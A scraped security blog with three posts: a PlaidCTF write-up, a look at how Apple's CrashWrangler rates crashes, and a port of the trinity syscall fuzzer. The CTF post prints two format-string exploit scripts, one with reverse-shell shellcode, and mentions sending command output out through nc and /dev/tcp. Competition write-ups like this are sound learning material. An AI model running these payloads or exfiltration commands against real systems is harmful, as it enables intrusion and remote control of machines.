Sunday, April 29, 2012

PlaidCTF - pwnable 99

This writeup is only 99% complete. :P

This challenge came in the form of a libc so file and a binary, so at first I assumed that the libc had some modified/hooked functions so I thought of verifying that.

$ md5sum 

Searching around gets you this, and you realize its not a modified libc. Reversing the binary, you notice that it asks for a hardcoded password, a name and a guess value which is generated randomly. Hence, the libc file.

The "name" value is associated with a format string vuln as shown in [3]. If we are to get past to that location of the code the "rand" shouldn't be that random.
Some copy-paste-from-IDA moments later :-
struct time_t *tt;
int operate() {
asm(".intel_syntax noprefix\n");
asm("mov ecx, offset tt\n");
asm("mov ecx, [ecx]\n");
asm("mov ecx, [ecx]\n");
asm("mov edx, 0x88888889\n");
asm("mov eax, ecx\n");
asm("imul edx\n");
asm("lea eax, [edx+ecx]\n");
asm("mov edx, eax\n");
asm("sar edx, 5\n");
asm("mov eax, ecx\n");
asm("sar eax, 0x1F\n");
asm("mov ecx, edx\n");
asm("sub ecx, eax\n");
asm("mov eax, ecx\n");
int main() {
tt = (struct time_t *)malloc(sizeof(time_t));
int x = operate();
int xx = rand();
printf("%d\n", xx);
Set LD_PRELOAD in your shell to point to the provided so file, and run the binary - you notice that the values dont vary that much often. Another little something was that direct paramater access did not work. Here's my ugly sploit, worked like a charm on my VM, got me a reverse shell, wonder why it did not work on the pctf machine. I guessed the challenge machine had PST on it, so I ssh'd into another machine and seems they were on UTC(you have to set the time appropriately on your machine).
import struct
import envoy
guess ='./mytime')
guess = guess.std_out.strip()
print "2ipzLTxTGOtJE0Um"
name = struct.pack("<I", 0x08049e18)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e19)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1a)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1b)
name += struct.pack("<I", 0x01010101)
name += "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
name += "%.230u%n%.139u%n%.265u%n%.192u%n"
name += "\x90"*20
name += "\xbf\x74\x0a\x79\x60\xdb\xc9\xd9\x74\x24\xf4\x5d\x31\xc9\xb1\x0d\x31\x7d\x14\x03\x7d\x14\x83\xc5\x04\x96\xff\x48\xbb\x05\x43\xf8\x51\xab\x29\x98\xfd\x22\x4c\xa9\x7e\xa3\xd4\x5a\x7e\xc9\xe9\x9e\xe6\xa5\xf1\x9d\x80\x66\x83\x43\x26\xee\xcb\xd3\xe6\xb9\x62\x32\x4b\x88\xf5\xee\xd5\xa4\xfa\xa0\xe5\x05\x82\x3e\x08"
print name
print guess
At this point, someone suggested using system and I tried that.
import struct
import envoy
guess ='./mytime')
guess = guess.std_out.strip()
print "2ipzLTxTGOtJE0Um"
name += struct.pack("<I", 0x08049e18)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e19)
name += struct.pack("<I", 0x01010101)
name += struct.pack("<I", 0x08049e1a)
name += struct.pack("<I", 0x01010101)
name += "%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
name += "%.116u%n%.68u%n%.65154u%hn"
print name
print guess
Tried doing stuff like ls > nc ip port, ls > /dev/tcp/ip/port, none of that would work. Ran outta time at this point, guess I should have started on this one earlier. I'll just lookout for other writeups :P :D

Leetmore's exploit can be found here!
Eindbazen's exploit here!

Thursday, April 26, 2012

a quick look into crashwrangler

Recently I had the opportunity of doing a crash analysis in OSX and decided to checkout CrashWrangler. Quoting a post from 2009,

Exploitable if:
Crash on write instruction
Crash executing invalid address
Crash calling an invalid address
Crash accessing an uninitialized or freed pointer as indicated by 
using the MallocScribble environment variable
Illegal instruction exception
Abort due to -fstack-protector, _FORTIFY_SOURCE, heap corruption 
Stack trace of crashing thread contains certain functions such as 
malloc, free, szone_error, objc_MsgSend, etc.

Not exploitable if:
Divide by zero exception
Stack grows too large due to recursion
Null dereference
Other abort
Crash on read instruction

Checking out the source I saw that it made a set of perfectly reasonable assumptions to help try and figure out if the crash was exploitable. In order to figure out where the corruption occurs it checks out functions which are not present in dylibs like libSystem.B.dylib - it looks higher in the stack. Also where the crash happens in the functions present in these dylibs is not as important as who called this function and the offset within the callee.

It also tries to determine whether a write, read or exec of an invalid address causes the crash. Checking if the eip == access_address_reported_in_crash should be the easiest way to check if its an exec crash. If its a call to a relative address recursion is detected, if you have something like call eax, you might have exploitability. If you have a cmp, test or fld you have a read, if you have a fst you have a write. If you have a jmp its an exec crash.

A crash at the "push <register>" instruction has two possibilities. It could be a read crash, while reading eax or a write crash while writing to esp - im not sure why, but it seems to interpret the second case as recursion. "inc" and "dec" on a register would never crash, so it would have to be a write to memory, write crash. It also checks if the instructions are "lods" "stos" or "mov".

Its interesting to note that some applications crash with assertion if the memory allocated is too big by writing a null byte to 0xbbadbeef - something i did not know. Checks for that seem to be present. Heap corruption is detected looking at the functions in the stack trace. Snippet from the code :-

585       "malloc", "calloc", "realloc", "CFRelease", "CFRetain", "_CFRelease", "_CFRetain","objc_msgSend",
586       "szone_free", "free_small", "tiny_free_list_add_ptr", "tiny_free_list_remove_ptr",
587       "small_free_list_add_ptr", "small_free_list_remove_ptr", "large_entries_free_no_lock",.
588       "large_free_no_lock", "szone_batch_free", "szone_destroy",
589       "CSMemNewPtr", "CSMemNewPtrClear", "CSMemNewHandle", "CSMemNewHandleClear",.
590       "CSMemPtrToHand", "CSMemPtrAndHand", "CSMemDisposeHandle",  "CSMemDisposePtr",.
591       "CSMemReallocateHandle", "free",  "szone_error", "WTF::fastFree(void*)",.
592       "WTF::fastMalloc(unsigned long)", "WTF::FastCalloc(unsigned long, unsigned long)",
593       "WTF::FastRealloc(void*, unsigned long)",.
594       "WTF::tryFastMalloc(unsigned long)", "WTF::tryFastCalloc(unsigned long, unsigned long)",.
595       "WTF::tryFastRealloc(void*, unsigned long)", "WTF::TCMalloc_Central_FreeList",.
596     ]

The backtrace is also checked for stack buffer overflows or guard check failures.

597     suspicious_funcs = [
598       "__stack_chk_fail", "append_int", "release_file_streams_for_task", "__guard_setup",
599       "_CFStringAppendFormatAndArgumentsAux",.
600     ] 

Finally at the part where exploitability is determined EXC_ARITHMETIC,  EXC_BAD_INSTRUCTION, EXC_CRASH, EXC_BREAKPOINT are ruled out. Write/Read Null dereferences are considered as ruled out. If the stack frame line contains a "libdispatch.dylib" or a "libxpc.dylib", its ruled out.

There is more to crashwrangler than what i've mentioned here, you have a "exc_handler" than does an execve on the target application and monitors the exception/crash - you could use this if the crash can be reproduced.

Looking into this makes me wonder about how "!exploitable" works - I also hear that there is something similar being developed for gdb on the linux platform.

Thursday, April 19, 2012

system call fuzzing - trinity for osx

Last month I've been doing a bit of fuzzing on iOS 5.0.1(hope to be able to publish the results of the same some time soon), this month I've decided to take a look at some syscall fuzzing. I found "trinity" by Dave Jones a very interesting fuzzer and decided to port it over to OSX.

I've uploaded a very early version of the same here ; right now it should compile without problems with    -m32. Next steps would be to make it work fine on 64 bit, then add more syscalls, and then get it to work on iOS.